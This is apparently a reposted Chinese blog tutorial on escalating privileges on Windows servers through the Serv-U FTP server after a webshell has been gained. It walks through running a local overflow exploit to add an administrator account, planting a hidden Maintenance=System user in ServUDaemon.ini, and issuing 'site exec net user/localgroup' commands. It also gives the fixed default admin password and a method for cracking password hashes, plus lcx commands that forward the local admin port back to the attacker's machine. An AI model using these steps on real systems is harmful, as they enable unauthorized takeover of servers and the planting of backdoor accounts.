serv-u 提权

来源:互联网 发布:软件毕业成果报告书 编辑:程序博客网 时间:2024/06/15 08:06

主要提权方法:

一、serv-u ftp本地溢出权限提升(使用6.0以及以前版本)

1、用Serv-U提权综合工具生成提权工具serv_u.exe
2、先上传 serv_u.exe到一个盘符下 比如是d
3、执行命令 d:\serv_u.exe
4d:\serv_u.exe “net user username password /add” (注意命令要有引号)
5d:\serv_u.exe “net localgroup administrators username /add” (注意命令要有引号)

二、ServUDaemon.ini 文件重写后提权(ServUDaemon.ini有写入的权限)。注意,我在serv-u6.4.06中测试没有成功,即虽然FTP用户添加成功,但添加的用户没有命令执行权限(虽然显示添加的用户是管理员用户)。所以,在实际环境中本方法不一定成功,不过要尝试以下。

先修改Domain来添加用户

[Domain1]

User2=spider|1|0

然后在ServUDaemon.ini文件尾部追下如下代码来添加用户的详细信息:

[USER=spiger|1]
Password=sbd8b58b5c201ee5cc20f9a8551197d4a5
HomeDir=c:\
RelPaths=3
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access2=d:\|RWAMELCDP
Access3=e:\|RWAMELCDP
SKEYValues=
添加上述代码并保存后,就会在serv-u中添加用户名为spiger,密码是123456

通过在本地命令行执行ftp 目标IP地址 命令来连接目标FTP服务器。
连接后quote site exec net user spiger 123456 /add
quote site exec net localgroup administrators spiger /add

ps:上述添加的文件中最重要的是Maintenance=System这句,有了这句添加的FTP用户才是管理员用户,才会有命令执行权限(因为最后是通过FTFP执行命令来添加系统用户的)。

三、serv-u配置文件无修改权限,但是可以看到配置文件,进行口令破解

看到FTP用户的配置文件ServUDaemon.ini,在其中找到Maintenance=System的用户,该用户就是系统管理员。如果能够成功破解系统管理员的口令,就可以利用该管理员执行添加系统管理员的用户(类似方法二)。

serv-u配置文件中Password字段就是用户口令加密变换后的字符串,破解方法:去掉前两位,剩下的进行md5破解,破解后再去掉前两位,剩下的就是FTP用户口令。

四、serv-u配置文件无修改权限,可以用Serv-u管理用户来进行提权(这是最常用的方法,一般大马中集成的serv-u提权方法就是本方法)

serv-u的默认管理端口是43958,只有本地才能进行连接这个管理端口。serv-u默认管理账号是LocalAdministrator,默认密码是#l@$ak#.lk;0@P,这个密码是固定的。如果网站管理员忘记修改密码,那么获取webshell后就可以连接该端口后执行命令来添加系统用户。

     

       虽然,网站管理员很少修改serv-u的这个默认管理账号和口令,但是如果管理员修改了,我们还可以通过查看ServUAdmin.exe文件来获取管理账号和口令。方法如下:下载serv-u目录下的ServUAdmin.exe文件,在本地用文本文件打开,查找LocalAdministrator字符来获取口令位置,通常可以看到serv-u的管理账号和口令都在文件中,仔细查找即可(如果连用户名也修改了,就搜127.0.0.1或记住账号和密码在文件中的位置)。获取管理账号和口令后就可以利用大马自带的serv-u来进行提权了。

 

五、serv-u ftp转发端口

上一种方法中提到serv-u的本地管理账号只能本地进行连接,但我们可以利用端口转发的方式来将其管理端口转发的本地,进而提权。在目标Webshell上运行LCXlcx -slave 你的IP 5000 127.0.0.1 43958
在本机上运行:lcx -listen 5000 21

打开本地的SERV_U IP上填入127.0.0.1帐号写LocalAdministrator密码#l@$ak#.lk;0@P

此时的连接过程是:本机连接21端口——>转发往本机5000端口——>管道连接至远程机5000端口——>转发至远程43958端口

连接成功后,在本机登陆Serv_U就相当于登陆了远程的Serv_U。你可以FTP登陆本机IP,输入上面的帐号和密码,在远程FTP服务器上执行命令。

——————————————————————————————-

上面是serv-u6及以下的主要方法,其中方法也适用于servu-7等版本,只是文件路径可能有所变化。下面讲serv-u7及以上版本的提权,不适用于serv-u6是因为文件路径发生变化,serv-u6没有相应文件。

serv-u7中管理员的口令在C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive文件中,破解方法和serv-u6是一样的。

参考文献:

1http://www.spiger.cn/article/206.html

2http://www.cnblogs.com/top5/archive/2010/06/03/1750816.html

3http://hi.baidu.com/dvbbs112/item/33d6f44678cf74a361d7b9bb

4http://hi.baidu.com/sdghgk/item/37b433ce7bce197489ad9e82记一次serv-u提权


 



0 0
原创粉丝点击